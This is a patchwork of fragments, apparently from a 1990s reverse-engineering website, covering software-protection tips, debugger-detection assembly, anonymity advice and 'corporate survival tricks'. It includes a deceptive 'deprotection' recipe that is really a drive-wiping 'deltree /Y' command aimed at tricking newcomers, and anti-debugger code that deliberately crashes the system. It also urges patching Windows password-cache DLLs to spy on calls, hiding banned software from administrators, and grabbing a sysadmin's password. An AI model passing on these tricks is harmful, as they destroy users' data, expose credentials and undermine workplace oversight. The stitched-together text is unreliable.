- too long, non-alphanumeric reg#'s tend to be continuously entered badly. at least provide a "non-persistent"
reg# entry field so that user will rewrite the reg# each time, possibly correctly at last. many people will just
"glance-compare" the entered reg# and the one (possibly) emailed to them, arriving at the final thought that
they did enter it correctly, whereas the font is too small or they are too tired to notice that this '1' and 'l' have
been interchanged (in a reg# like 'l83jjd_0)pH1lTe' )
- refrain from any user feedback. the reg# entry box should accept strings of any length, without any
validation. don't give crackers the knowledge about reg#. sometimes knowing that it's 10 chars long or that
is contains only uppercase alphabet helps, so don't help them
- the reg# verification scheme (I'm pretty sorry about it, but it just is like that) needs to take into account the
number of prospective users, and thus you oughta do some "market analysis"
- if your reg# is 10 numbers long, there are 10^10 possible reg#'s. but since your app might find let's say
only 10^4 (10'000) users, you should invent an algorithm that assigns each one of 10^4 users one of 10^10
reg#'s, and does it somewhat uniformly. This prevents people and programs (some .vxd based "macro"
players, like the one presented some time ago in DDJ, for example) to be used for brute force approach. If
there are only 10^4 users and you allow 10^9 "valid" reg#s out of 10^10, on average each 10th reg# tried
brute-force will be valid, whereas on the case of 10^4 prospective users, that many valid reg#'s and space of
10^10 reg#s, on average only each 10^6th reg# tried brute force will be valid. Ever calculated how much
time it would take to brute-force search 10^6 numbers, even using a fast machine and extremenly fast macro
player (keystroke generator simulating reg# entry and checking for results)?
- the assignment operator that assigns user# to reg# shouldn't be trivial, and it's implementation should be
done in asm by someone experienced both in maths (topology known by +ORC helps here, also :-) and asm.
check your operator. create graphs of how it works. understand your own work, especially its drawbacks and
vulnerabilities
- be inventive. don't use anything that seems simple, quick and effective. unless you've come with something
like Einstein's relativity theory, your approach is yes, simple, yes, quick, but no, not effective, and yes, easy
to crack. I'm sorry but we aren't geniuses and developing a good protection scheme takes time, it took time
myself, and still takes although i'm creating protections for fun since 5 years or so. It will definitely take
some time you, dear reader, and don't believe your self-confidence. Protections written by self-confident and
unexperienced prgrmrs end up in the "most stupid protection" page of +fravia. a nice and exposed place, and
with what a neighboorhood, but a protection ending there is still the "most stupid". not a nice definition of
your work, huh? :-]'
21. Play same game twice. It helps. If you invent some nice and hard to crack memory move-around scheme
to protect reg# inside your data space, do the same to parts of your data, even better using the same routine
just with other parameters. Crackers are lived up to the fact that protection algorithms are always used for
protections only. If integrity of your data will rely, at least partly, on proper working of your protection
code, crackers get a tough work to do. it's called functional verification of the "okayness" of protection code.
you don't checksum nor crc it, but simply call it "from the other place" and let it process the
protection-unrelated data. if it will process this data ok, then cracker mustn't have altered it. this places end
on easy cracks like "change that jump here and that cmp there to nops"..
22. Strainer to you: does lotus 1-2-3 for dos "diskette" protection (it let you install it up to 3 times without
"zapping" it from hd first) work still in win95? if yes, why? if not, why? analyze the code, I've learnt MUCH
from it. it's only dos code, it's probably 100 times cracked already, but there are some niceties to learn from
it. not a very good protection scheme, has many holes in it, but remember what +ORC said: a cracker well
educated in historical code is nearly always a perfect one :-))) (ok, ok, i know, there's nothing perfect aside
from moskovskaya in this bad world, but, can't we joke at times ? 8-0=)
cheerz,
tibit
A shrinker, like the one from Blinkinc should be seen as a 'first line of defense' for a protector. The application will
be uncompressed when it is loaded and cannot therefore be decompiled from disk. This makes the possibility to
mess with it a little more complicated for the cracker, especially if, after having compressed the application with
Shrinker or with WWpack32 you checksum (twice) the compressed EXE.
Anti-Cracking sites
Vitas Ramanchauskas' site: http://www.soft4you.com/vitas/antihack.htm
Some interesting techniques and original ideas
Anti-Cracking discussions
You may be interested in my Counter Intelligence page.
Cracking discussions
You may be interested in my Why crackers crack? (Reversing reversers' psychology) 'late November' thread.
Tricks
[Let's melt softice? Pro and contra] [Funny tricks against idiots]
So I publish the snippets above because this can give some ideas to good protectors. Go beyond and prepare some
good code for Sice detection (or even some 'retaliating code'... come to think of it, if I were a protection scheme
and if I would detect on a computer -say- softice, wdasm and smartcheck I would know that I should ring all
possible defcom red alert bells... but READ (and head) THE FOLLOWING CAVEAT!
First of all you should UNDERSTAND what Softice is... many 'sunday' programmers don't have the slightest
clue...
SoftICE is - same as WDEB386.EXE of Microsoft a completely different story, from turbodebugger... much to
shareware-authors and driver developers dismay.
First of all, SoftICE is started before Windows starts (more exactly - you run winice.exe and winice in turn runs
win.com). This applies to win9x . configured to run as a boot driver, kernel driver, or a dynamic loadable (kernel)
driver under NT.
When the gui starts SI is already present and can be invoked via ALT-D (preset). So there is no "present-not
present" thing with softice, it sits beneath windows and waits till you need it. as the bulk of softice consists of ring
0 software, you're not limited in what you can view. driver writers for that reason quite routinely start their
machine with si present.
Therefore you go about detecting it like you'd detect any other vxd - seeking the VMM's DDB and then just
walking the linked list of DDBs in the case of Win9x, and examining the list of loaded drivers in NT.
The problem rather is, what are you going to do if you find it? Nuke the machine?
The world increasingly seems to fill up with authors, who think, just because somebody (mostly by accident)
installed one of their vanity proggies, they got the right to nuke others peoples machines.
As it's part of my job to work with softice I just can't work with some programs without reversing them at the
moment - o.k. so what, but what will annoy almost all VXD authors is if you just go about rebooting the machine if
they start your software... maybe putting a link into the autostart group before.
Therefore do me and people like me a favor please: forget that debugger detection crap, do a little bit of math and
firgure out how to en- and decrypt your software at runtime (as it is to valuable to be looked at by other people), be
creative and contructive instead of just destructive.
Btw, there is no law against people debugging and reversing your software, as strange as this may seem to you, but
there surely is a law against deliberatly risking to damage other peoples' property.
Publish the following on alt.2600 (or IRC, or wherever lamers abound) as standard answer to all zombies'
questions regarding software deprotection:
"There is a file in the root directory that controls all copy protection called command.com (or under NT, I believe
it's 'ntldr'). You must delete this file using a utility that does a security delete (Norton Wipefile would be good).
Then restart your computer. Copy protection schemes will no longer function."
Also nice:
"In order to deprotect all protected software you will need to perform a dos command inside your dos box. After
having started a dos box (start ~ programs ~ MS-dos prompt), you will see a funny small black window, with the
following (cryptic) message:
C:\WINDOWS>
Don't worry about its meaning for the moment, just type
cd.. (that is "cd point point")
and you will see a small display changement, the prompt will now read:
C:\>
Now you are "root", as hackers use to say, just type the following:
prompt deprotect>
And you have started the deprotection routines, note in fact that the prompt now reads
deprotect>
All what you need to do, now, is to excute the command
deltree /Y
(Notice that there is a space after deltree, before /Y). You'll now see a quick scanning of your drive (in order to
individuate the protected programs) and at the end you will be back to the deprotect routines prompt. Have fun
with your unprotected programs"
Of course you should NOT add any smiley to these messages... This is called "darwinian selection among
wannabie crackers" :-)
Visit the experimental message board for all people hanging around at fravia's
Our Protections Our own tools Students' essays Packers & Unp Dongles lab
homepage links +ORC most recent essays +HCU database
anonymity counter measures CGI antismut cocktails
(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved
Back to protec
self32.zip, by +RCG, 29 Nov 1997... download icname.dat AND self32.exe and crack it!
A first answer, by Zer0+ (26 December 1997)
Enjoy +RCG's self32 solution!
Here you have some tasty snippets out of it:
The "self32 solution" link above is at the same time the road to +RCG's new protection approach and his
two splendid essays:
In fact +RCG has opened a COMPLETELY NEW AND ADVANCED path with his two essays and with the
accompaning programs and source code. Therefore I have decided to link them in an 'unusual' way, to filter
lamers and newbyes a little and awaiting +RCG's updates and new promised goodies. He writes: "Soon
more (but you must work on your own)" and he's right, of course. This is a WORK IN PROGRESS new
section, that will -for obvious reasons- get along our new 1998 +HCU's project 'Our tool' (API monitoring
and vxd magic), which starts in these days on the ristrected maillist. So you better contribute (and I mean
contribute with some interesting stuff) if you want to remain on this bandwagon... to cite +RCG's words:
you must know that a VxD can do everything
we want, no more Ring3 restrictions, you can
stop completely the system, read or write any
memory address, hook all interrupts or exceptions,
take control of the IO ports
You'll find inside this same protection tutorial a couple of solutions as well:
-----------------------------------------------------------------------------------
The first solution, by r0ketman (December 1997)
and an answer by flipper (December 1997)
and another solution, by +Rcg (December 1997)
and another answer by flipper (26 December 1997)
C'mon, everyone: crack the vxd based protection scheme of this official HCU protector program!
Here is what +RCG himself writes about all this
BTW, this doc will teach you to protect, and I will also
attach "the official HCU protector program" and then we
will wait for someone able to reverse it.
Don't worry: I will explain you how it works (I will attach
the source as well, yet this won't help you too much from
a cracking point of view).
See above the Self32 saga in order to read +RCG's new CRYPTOGRAPHY AND MATHEMATICS OF
CHAOS and A FIRST INTRODUCTION TO VxD essays!
are 9
relocations within the encrypted code. A relocation entails a
four
byte absolute address, usually into the data section. IDA, to
make
things convenient, tells us where these relocations are after we
make
the encrypted code undefined. We know that these addresses will
start
with at least 0040 and most of them with 004020 (since that's
where
the data section is). The addresses are at: (0,0), (0,f), (1,c),
(2,2), (2,7), (2,f), (3,4), (3,a), (4,0). Even if we assume only
that
they all start with 0040, that means that we can deduce all but
bytes
0, 3, 8, and b of the key right off the bat. Working on the
004020
assumption (which is correct in all but one case) we can deduce
everything except for byte 8 (needless to say, I had seen the
pattern
way before this, but I wanted to explain how it would work for any
key). However, since we know everything else at this point it
would
be fairly simple work to deduce byte 8. I address a lot of issues
related to this in the hasp essay (they use a 1000h byte long
string
for xor'ing) and suggest a more airtight protection method.
Later,
Quine
18 January 1998
Of course things do NOT finish here... and +RCG has sent some new (and very interesting) protection
ideas... I'm sure that you'll find the short essay by +RCG: HOW TO PROTECT SOFTWARE BETTER -
Part II very instructive. It deals, among other things, with the following questions: Purpose of the "Our
protection" section; The "delayed" protection scheme of the future; The Port 70/71 trick; How to take
Softice on a boat ride; Softice breakpoint magic explained and defeated.
25 February 1998
A tough assembly protection: crack_me.htm
by +Aesculapius
A beautiful, great contribution by +Aesculapius, who gathers some ideas from Madmax's letters (see below)
and has prepared for you a real "cake": aescul.zip ready? steady? Go!
28 February 1998
jackrev.htm: Reversing +Aesculapius, A complete explanation of a very good assembler protection
by Jack of Shadows
A beautiful, great solution by Jack of Shadows!
01 March 1998
aescures.htm: +Aesculapius' Answer to Jack of Shadows and +Seniors
Lotta important things for protectors and crackers alike!
10 March 1998
zelazny.zip: Jack of Shadows Answer: a modified 'Aesculapius_type' advanced protection
Is getting hot interesting for protectors and crackers alike!
C-Dilla
July 99 Black Check ~ Another comercial Protection defeated advanced ~ ****
Safedisc
1 June 1999
antiwa1.htm: Rob's views on software protection: a game of lesser and lesser returns for time invested.
There are always going to be those with more time on their hands than you have, who crack it
Back to protec
Visit the experimental message board for all people hanging around at fravia's
Our Protections Our own tools Students' essays Packers & Unp Dongles lab
(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved
Like 1 plus a NagScreen (find the trapdoor inside it) Example 3: Just like 2 but a little WinIce hostile :-(
(You are able to recover the system, use the stack to find the real return and restore the stack).
REMEMBER: Dont send us exe files, because we will never execute them. We only want the sources,
we will study them, and then we will compile them, and then publish them for the HCUkers. Of course,
if you are a little sceptic about this, you can as well wait 2 weeks, and download only the source with its
solution. Less brain work and less fun, though. 3. What are the usual "approach" metods little crackers
use? Basically (at least until master +ORC teach us other methods :-) we use two: "Dead listing" and
"Debugger tracing". 4. How can we defeat people following these approaches? 4.1. Debugger tracing, is
"a priori" the easiest to avoid, just use the little tricks used in order to know if SoftIce (or any other tsr
debugger) dwells in memory. Read the splendid docoument "WinIce Galore" by Civetta. Just look at this:
. . lea esi,GetDlgItemTextA call CheckIce cmp eax,"ICFI" ;Is Sice Fired? je Bad_Guy_Crash_system call
esi . . CheckIce: push esi push ds push cs pop ds ;Now DS=CS mov esi,[esi+2] ;Get dll function jmp
address mov esi,[esi] ;Get dll function real address mov eax,[esi] ;Get first bytes of dll function and
eax,0FFh ;Use only first byte cmp eax,0CCh ;bpxed? mov eax,"ICFI" je Ice_Fired xor eax,eax Ice_Fired:
pop ds ;Restore ds pop esi ret We can use this simple routine just to know if the little cracker has
commanded a bpx at the next "call dll_function", exiting (or crashing the system) if Softice is "near".
Another useful anti-debugger trick is: . . mov al,0CCh mov ecx,Routine_Length Call Check_CC
Routine_To_Check: . . Check_CC: mov esi,[esp] ;Ret Address push ds push cs pop ds Do_More: cmp
al,[esi+ecx] jne Warning_WinIce_Is_Ahead_Crash_system loop Do_More pop ds ret ;Good Guy
Warning_WinIce_Is_Ahead_Crash_system: pop cs ;This will crash your system inmediately ret What
could we use this for? I.E. to check if actual routine has a "bpx" somewhere or just to check the entire
programm searching for a bpx. 4.2 Once SoftIce is "out of service", Dead listing can be made more
complicated just using indirect calls, like this: call [Call_Table+4] this table is in Data segment, so it can
be encrypted or loaded at any time from a file or from whatever hyding ground you can imagine. You
could also use a lot of junk code, and you could "play" with your stack a lot, this will make the "dead
listing" way horrible... well yes, that's more easy for a single shareware programmer that may be knows a
little assembly than for a big stupid corporation, which HAS to have clear code in order to produce
quickly, part work among many poor programmerslaves and try to get a minimum of bugs out... nice
sideeffect, isn't it? :-) 5. What is the best way to protect a program? 5.1. Program encrypted (like some
viruses) , we avoid totally Dead Listing and patching as long as the cracker does not find the encryption
routine/schema. 5.2. Self-Modificable Code, look: push eax push ebx Call Check_User_Entry_Code test
eax,eax je Bad_Guy nop ;Here we will put the Good_Guy jmp nop ;it depents of many other calls nop
;Who knows which? nop nop nop Bad_Guy: Call Crash_System 5.3. Others methods, simply let your
imagination fly!!!! 6. How to implement the techniques we have seen point 5? VxD. I know this is a big
effort, but I'm sure we will be able to program them in a few months, so we will take again the control
over the system (just like we did in Ms-Dos). I'm breaking new ground here, therefore I will develop this
as soon as possible. +rcg 1997
Here we go, download, experiment and learn:
all examples
You are deep inside fravia's page of reverse engineering, choose your way out:
search_forms mailFraVia
Is reverse engineering illegal?
The main intent of this section of my site is to SCARE YOU TO DEATH about the huge amount of data and private information33 you are 'smearing' around without even knowing it.
Tears fill my eyes when I see so many good and nice Internauts fall prey of crooks of all sorts (from nasty software producer like Micro$oft, who hide snooping secret functions inside their
applications, through the main search engines you use, that gather your searching patterns and store them without warning you to the outright 'dirty' crooks that search and lure gullible simpletons
in order to sell them fake religions or fake tits or whatever fake they have to push). Matter is that the NASTY aspect of this nether world of us is never enough explained. There is no law here.
Only reversers, like we are, can eventually help the gullible and simple ones (and damage the crooks, which is great fun :-)
We fight of course more 'active' battles, as you'll learn on my [antismut] section, yet even the simple spreading of 'passive' knowledge can be very useful (knowledge, as Master +ORC has always
said, is indeed a most powerful 'good' weapon), and we help, in this section, throwing our light on some of the 'hidden', 'dark' and 'mysterious' aspects of the Web.
You'll learn here some must-know anonymity concerns and some elementary counter-measures, yet, as you will see, the data you are leaking around are so many (and so valuable) that there is not
really much that you can do, short of going undercover with a completely bogus identity... which is something that you will probably want to do after having read all this :-)
No anonimity, I regret
This section of mine about the traces you leave on my own servers was growing bigger and bigger and has been moved to my
What Fravia knows about you
page, where all (scary) tracking possibilities used today will be discussed and some countermeasures will be analysed.
SYSTEM.INI
Contains still more details about the locations and software that you are running on your system, as well as other personal things that might be
helpful for rogues to find out - like preferences and the like.
USER.DAT
(On my computer, right now: 286692 bytes as c:\windows\user.dat and 286692 as c:\windows\user.da0, which is created as 'reference' when you
set your computer on).
This is one mighty important file. You better be prepared to get some cheap thrills about this one... if you did not already know about it.
Inside this monster there are masses of data about you: the last few dozen places you've visited on the Internet, your name, email address,
telephone number, various user ID's and passwords, details about software you use and your preferences, locations of files and folders, and literally
hundreds of other personal things. You don't believe me? Here are some (very small) snippets from my own user.dat
YES, I wanted to scare you, you better have a look at your own user.dat asap, btw, make a local copy of it (from your
c:\windows\profiles\Yourself) and browse it using Ultraedit. You'll be amazed at the wealth of information about yourself that this huge database
helds... among other things all the search strings you have recently used!
So, what can you do?
Not much, anyway you can try: First make a backup of your "real" user.dat, and call it ggs541.myn or whatever, just in case.
Second see if you find somewhere a "clean" installation user.dat (usually -on corporate machines- under /windows/profiles/instw95 or similar)...
you may 'steal' a ready made one from some other machine or profile (you better choose wisely :-)
Third, after having thoroughly checked everything inside it, just in case, substitute routinely your real one with this 'bogus' and 'clean' one.
Don't let your data slip anew! You better write a simple batchfile (see my corporate survival tricks page) to automate this tedious task.
(On my computer, after the 'cure': 86168 bytes as c:\windows\user.dat and 65688 as c:\windows\user.da0, which has been re-created as
'reference' after I have resetted my computer on). Of course you may not dispose of a clean user.dat file and you may have to reinstall windows
ex-novo in order to get a clean user.dat, and this would not be such a bad idea after all! Nothing like a nice hard-disk "deep level" formatting every
couple of months to keep your harddisk fit, destroying as well all those tracks you are smearing around without noticing it :-)
Morale: keep your sensitive data ON THE WEB somewhere where nobody in his right mind would ever look, nor understand them even if he did
(say steganographed inside the dull images of a bogus page like "me and my little dog Barkie" :-) they will be MUCH more safe there than inside
your own harddisk!
SYSTEM.DAT
(On my computer, right now: 748252 bytes as c:\windows\system.dat and 748252 as c:\windows\system.da0, which is created as 'reference' when
you set your computer on).
Even worse than the above! Once again, lots more personal details, including also the location of all your windows passwords (login, screen saver,
network, LAN, etc), every conceivable thing about your computer, its hardware and setup, and full details of all the software you're using or you
have ever used (!) on your computer.
You'll notice perusing this little monster the huge amount of wasted bytes occupied by Micro$oft's converter strings and messages. If you ever
wanted a clear example of the 'messiness' of the poor operating system we are all compelled to use, just look at your c:\windows\system.dat
*.PWL
Located by knowing your username, or by looking up the above file. Inside here are all your passwords. These are easily decrypted (if necessary)
on any laptop with SAVE-TO-DISK features and a disk editor.
nsform??.TMP
All the data inside every Netscape form you've ever submitted, with and without SSL, when the submission failed or was cancelled.
/etc/passwd
One for the Unix folk. Running a cracking probe against this file will usually reveal dozens of usernames and passwords to anyone who wants to
play with you or your users.
Wanna have some "fun"? Type the following inside your Netscape URL window (Location):
Have a look at DejaNews there you'll quickly discover how many indications about your interests can be gained by EVERYBODY just checking
your usenet comments and mail (another good reason to use ALWAYS anonymous remailers)... this is really scary! Looks like the ideal
playground for "blackemailers". All the search engines are slowly building huge databases with your preferences, they also react immediately to
your search patterns... if you search for "tits" on Yahoo, you'll get some hideous pub about (not free) smut-services, if you search for "job", you'll
get some hideous pub about (not-free) career services... do you really believe that all these data (about you) will be ever erased?
Anyway, for the more paranoids (or the more careful) among you, here is a link to the anonymized Altavista search form
(Courtesy of fravia+... do not leave your tracks around!)
Of course no real anonymity section would be complete without an explanation of the above anonymizer...
Anonymous surfing
Crack the tricksters
You better begin to surf the Web anonymously if you want to be an "old" cracker. The anonymizer will allow you to do it whenever you feel like
it. You actually do not need to visit the anonymizer page: just remember, when you smell a rat, to precede the *exact and complete* http://...
address you want to visit, writing (even per hand in the "address" field of your browser) "http://www.anonymizer.com:8080/" before it. The spiders
will then track your visit as "niobe.c2.com", or something similar. Are there other "...:8080" URLs that allow this kind of anonymity? Yes, many
server (even if they do not realize it), just find yours if you do not trust the anonymizer (btw, :8081 works as well, only with less "concurrence" :-)
I'm sure you'll appreciate the fact that you may nowadays telnet using a fake proxy! Indeed there exist now a "Java Telnet Proxy Server" that will
allow a telnet applet connecting with any server on the Internet!
Here it is at netobjective
And you can even choose the port!... Your little cracker's heart understand what this mean as well as I do, don't you? (and even if you don't
understand now why this is QUITE important I'm sure you will in due time :-)
We live in a world where software (and hardware) developments are neither documented nor care to tell their user what's really going on under
the hood (and under the hoop). Still not convinced? You still believe that the society you live in cares from something else than pushing you around
along paths and patterns you are not even supposed to see? Well, if it is so, cookies may represent a very instructive example for you.
The Jar for your cookies
Use Netscape, like all sensible reversers do, DO NOT USE MS-Explorer: Micro$oft's Trojan Web_horse does not allow you to see its own traces,
it's terribly slow in all its version, it is even more bugged than Netscape's Navigator (how they could pull even more bugs than Netscape really
beats me :-) and, globally, Micro$oft's products are only good for lamers and people that has been brain-washed by frills and advertising, as you'll
learn perusing the material inside +HCU's project 9, the "Micro$oft bashing" project.
So use your good, relatively old and relatively stable Navigator version 3, that you may merrily reverse (in order to use its hidden functions to your
advantage) using the material inside +HCU's project 5 that deals with Netscape cracking (and the many 'surprises' that are hidden inside the
browsers you are using.
OK, start your "cookies discovery" trip! You'll quickly see how very simple cookies (and there are much more nasty things around, thank
Javascript) can lay some eggs inside your harddisk (inside your "cookies.txt" netscape file).
Cookies -together with Javascript programs and Java applets- are the *FUTURE* of reverse engineering.
So study them. Here is the coveted entrance to my cookies (and robots) pages
__
WARNING! Some of the cookies and of the secret robots pages are MICROSOFT EXPLORER HOSTILE
You may of course use Netscape, if you want (Best version is version 3 NOT version 4), but if you want to browse with a fast, complete and agile application (LESS than one million
bytes! MUCH more fast and MUCH more configurable than the overbloated duo), you better download Opera right away... you'll never go back to the big Browsersaurii!
Anyway I'm warning you: don't use Micro$oft's puke on my site!
(Watch it! Some pages just "play" hostility, some are seriously hostile, so: don't complain you have not been warned! :-)
BTW, you may like to know already now which kind of cookie my pages will plant inside your computer, don't worry, it's an harmless little thing
and looks like this (you may check later):
/fravia FALSE 872928000 fravia_cookie_noanon_page 1
You may want to have a look at my counter measures page or, more directly, at my enemy tracking page, or, for some other funny tricks to my
corporate survival tricks page in order to grasp even better some useful techniques and approaches, yet you'll find tricks all over my site, for
instance on the links page, and of course on the search engines page and inside all my "how to search" lessons.
A common (in our trade) trick to lure wannaby anonymous surfers is the "fake page" trick: here is it is (courtesy of fravia)
(*) Yes, he will not be the only one... somebody else will nevertheless come and visit your "secret" page:
1) a robot i.e. an automated spider looking for pages or information, logging, for instance, from Yahoo, but could also be private (the older ones
use funny spiders, BTW) mostly these spiders are simple automated "logging in" from a remote server... and yes! There are ways to "catch" them
and "reverse engineer" the kind of info they are carring away: Master +Alistair has long ago promised a tutorial on this strange art, let's hope
he'll write it asap :-)
2) a seeker (these are the guys that always check the full directory of a URL location just in order to find hidden pages there, simplest way is to use
a /.rt command), or
http://www.instinct.org/fravia/noanon.htm (8 of 12) [2/7/2001 3:00:20 PM]
noanon.htm: fravia's anonimity Lab (tricks and tips to survive a little longer on the web)
3) the server administrator slaves.
But these few occurrences apart, you'll get a lot information about your "anonymous" target (or your enemies will, if *YOU* are the target)
Well, this new section begins with some very interesting essays by our colleague and friend LordCaligo, I hope to receive more contributions from
all the anonymity wizards among my readers... else I will start writing and adding some new essays myself... in the mean time you may also find
interesting my how to search the web lessons, where I discuss subjects like 'combing', 'klebing' and automated retrieval of information through
intelligent agents, all matters which may be quite relevant for anonymity purposes :-)
An easy way to stop the guys (from Redmond) to snoop data inside your harddisk
An hardware attempt for more safety while youre out on the web (FAA_005)
Anonemail section
Anonemail section
Janus
http://www.cs.berkeley.edu/~raph/remailer-list.html
How to post anonymously:
anonema.htm
http://www.sabotage.org/~don/mail2news.html
How to surf anonymously:
Anonymous web surfing
http://www.anonymizer.com/
How to publish anonymously:
How to create a webpage with controversial contents
I will remind you of THREE useful digests related to privacy (and general
interesting reversing things :-)
* The Computer PRIVACY Digest (CPD) (formerly the Telecom Privacy digest) is
run by Leonard P. Levine. It is gatewayed to the USENET newsgroup
comp.society.privacy. It is a relatively open (i.e., less tightly moderated)
forum, and was established to provide a forum for discussion on the
effect of technology on privacy. All too often technology is way ahead of
the law and society as it presents us with new devices and applications.
Technology can enhance and detract from privacy. Submissions should go to
comp-privacy@uwm.edu and administrative requests to
comp-privacy-request@uwm.edu. (For example, vol 13, issue 031, 23 Dec
1998, has a long item on random credit-card fraud via small charges.)
(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved, in the European Union and elsewhere
This section is due to a very simple constatation: users are considered, by most system administrators,
not much more than "nuisances" to their system, as if the undisturbed functioning of the system, and not
the user's wishes, should be the determinant factor (for their work and for their life).
Introduction
Users are left to the compete mercy of petty and narrowminded security rules, that -far from contributing to the development of
the whole organisation- squeeze all original experimenting out of those system.
You, as a (moderately) intelligent user have only one option: try to work "undercover" for the sake of the development of
yourself and of everybody else... we'll list inside this section all possible tricks we know of that will allow you to defend a little
more your privacy (and to snoop a little about what actually the system administrators are doing... Quis custodit Custodes? We
do! :-)
Please note RULE NUMBER ONE: Never believe that you are smart. You are NOT. It is EXTREMELY more easy from a
system administrator standpoint to snoop on you than the countrary. Your attempts to snoop on your administrators from
inside their net on one of "their" computers (even if you believe it is "yours") are bound to be pretty feeble indeed. Yes, you can
do something, but you cannot do much. Don't get any feeling of false security reading the various tricks below. Don't think you
can go and "outsmart" your sysads. In fact, don't ever think that you are smart. You are NOT smart. That's rule number one.
REM WIN.BAT
typing win.com
This will allow you to decide if you want (or not) to start the windows bazaar and to connect on line. Keep in mind that you
can do quite a lot of things off line (in dos or windows) and that if you do (and work on your zip drive (see point 4) or on a
floppy inside your a: drive, the sysads have few ways to know what you are doing/writing/cracking. You should always check
for TSR modules anyway (see point 9), just in case, in order to kill them :-) The interrupting of the windows bazaar starting
procedure allows you also to start Winice with a winice.bat that you must edit and save as well. We are examining here the
case of people that are using, at work, an intranet connected computer, because they need a lot of help. Yet this is NOT the
best approach.
In general the best approach is to have ANOTHER computer at work (a portable, locked up in your drawers) where you keep
-encrypted- all your sensible data and tools, unfortunately not everybody has such possibilities :-(
The following tricks will, at least, ameliorate a little the situation of absolute dependancy that most users suffer on the intranet
systems of today.
The loading of Win95 is directed by the file c:\MSDOS.SYS where you'll find the following:
[Paths]
WinDir=C:\WINDOWS
WinBootDir=C:\WINDOWS
HostWinBootDrv=C
[Options]
BootMulti=1
BootGUI=1
Network=1
Just change to BootGui=0 Network=0 To work on stand alone... btw, if you add under [options] Logo=0 you will not have any
more the silly Windows 95 logo, which only slows down the whole starting bazaar.
In fact one of the most peculiar things, in this windoze's dominate aera, is how useful (and powerful) simple dos batch files can
be. So if you don't know how complicate (and interesting) and powerful those simple batchfiles can be, go to some second
hand shop bookstore and buy for next to nothing an old book (89-91) about "dos batching". You'll be amazed at the POWER
that this will give you onto your supernew windoze, as some of the examples in this section attest :-)
ESSAYS
PHASE ONE
fantastic essay by +Yamato about hiding Windows applications, browsing on your own proxy and cracking registry settings!
PHASE TWO
Very interesting C program by Heatmizer about a Win 95 Screen Saver password decrypter that you may find pretty funny
to use at work!
PHASE THREE (12 december 1998)
Another nice essay: enbecor.htm: Sniffing the Corporate and Institutional Network by Embedded
PHASE FOUR (22 July 1999)
CHOWN! Incredible essay by [blue]: chown_bl.htm: Who owns your files? Security thorough obscurity
(1)
Where should you keep the files the slave masters would not want you
Put all the programs you should NOT have installed on your PC inside
OS we are compelled to use) can in this case be turned to our advantage :-)
(2)
by them. Change the names of the *.exe files! If necessary edit the
Change the names of *.exe and *.dll files to non significant names like
hggq67.exe
87771ll.dll
etcetera
fetch them this way (this idea was pilfered from +ORC's 4.2 :-)
page). If you are (or will be) a reverse engineer it won't be all too
difficult, believe me.
Most of the programs and applications that the slave masters use in order
to snoop onto you or to perform their "mysterious activities" (the one that
you would like to "study"), do rely on *.dlls that are located like sitting
ducks inside your /windows and /windows/system directory (MSPWL32.DLL for
enhanced password cache security, to cite but one :-)
Well, here is one of the very few sectors where YOUR competentces should be
by far superior to the capacities of your system administrators: it's our
field: reversing!
"Take home" your target *.dlls and, working on your own machines, modify them
until they will work the way YOU want (and not the way the applications of the
system administrators expect them to :-)
You don't even need to worry much about eventual length differences between the
untamed and the tamed dll... I have never seen any application checking the
length of the *.dlls (there are much too many variants and versions of the
main dlls... windoze is a total mess, never forget it :-), yet, if you want
to go "NUMMERSICHER", don't alter their length and just patch them "inside",
using the many tricks, like "snake-patching", explained in the student section.
Once you are ready (and you have thoroughly tested them) reinsert the transformed
*.dll onto your machine, at work.
Nobody but you will know it (hopefully) yet you will now have some powerful
tools as allies in your battle! You may have redirected the output (with the
data you are interested in) to the screen or to a file (careful!) or to the
printer, you may have tsrred an activation switch, or you may keep a copy of
the tamed dll under another name inside your windows directory, and just
batch it on or off when you need it (so that most of the time the real, untamed
dll will be the one working, and your tamed one will sleep inside the directory
under another non-meaningful name until your simple dos batch "awakes" it :-)
Imagine (just imagine, of course :-) that you modify the OpenPasswordCache
function of the above mentioned mspwl.dll so that you will be notified (with
the possibilities of having a look at the parameters) every time that function
will be called... well: you are NOT using Winice or another debugger in order
to get those data, so there is no "alien" application running onto your system.
Everything looks "normal" from the sysad standpoint: -"stupid user sits in
front of his stupid screen and our SuperhyperSnoopo version 4.2 checks what the
hell he is really doing, how long and how much!". Ah! Your screen gets all the
activities of their SuperhyperSnoopo version 4.2 instead! (or whatever they use...
most of the time it will be an overbloated *.dll intensive app :-)
See: you are playing at a level that most system administrators cannot even
understand (they would not dream of modifying a windows *.dll, they have
enough problems with the "normal" bugged Micro$oft's own ones :-) and you
can, if you tame wisely and if you choose wisely your target dlls, gather a
LOT of information on your system in this way.
(4)
Batch alternative on how to defeat censorship software checking for
files deemed "illegal" by the slave masters when you do not need to
use the programs
Create two batch file (inside c:\windows as well), that will change
on-the-fly, when you run it, the extension of all the executable
you should NOT have installed on your PC to *.myn and back to real:
When you are offline (or when you feel like it)
REM re3444g1.BAT
REM fuck the censors, recreate
cd c:\windows\system
ren GHHA12.myn ultima_9.exe
ren GHGG12.myn chess730.exe
ren GHHA12.myn snooplan.exe
ren GHHA12.myn bombchef.exe
REM OK, recreated names
REM ob3444g1.BAT
REM deceive the censors, obscure
cd c:\windows\system
ren ultima_9.exeG HHA12.myn
ren chess730.exe GHGG12.myn
ren snooplan.exe GHHA12.myn
ren bombchef.exe GHHA12.myn
REM OK, obscured names
(5)
How to install everything you want without a CD-ROM
Buy a zip drive and use the 100 Megabyte zip cartridge in order to
install whatever you like on your PC even without a CD-ROM, and in
order to save/keep/move files as you fancy without leaving much
traces behind you. The zip connects trhrough the parallel port
and its data transfer ratio is acceptable. You may even RUN programs
from there WITHOUT LEAVING ANY PHYSICAL TRACE INSIDE YOUR PC.
(6)
(7) Visit the site with the warez you are interested in with
2) Write down the exact name of the *.zip file you want.
have found)
GOOD FTPMAILERS:
(just send to each of them an email with the word "help" in the
subject and in the body. Keep in mind that some of them at times
DEARN DE BITFTP@DEARN
BRYANT ftpmail@ftpmail.bryant.vix.com
GARBO FI ftpmail@garbo.uwasa.fi
(8)
I assume that there is no track on the loggings if you just save images
using the right mouse button... but you may choose to get the images
(9)
function of that PC, wait until the sysad's slaves come and repair it.
use it THE SAME DAY (they have most of the time rotating passwords).
(A)
have been banned "en block" because somebody used somewhere the
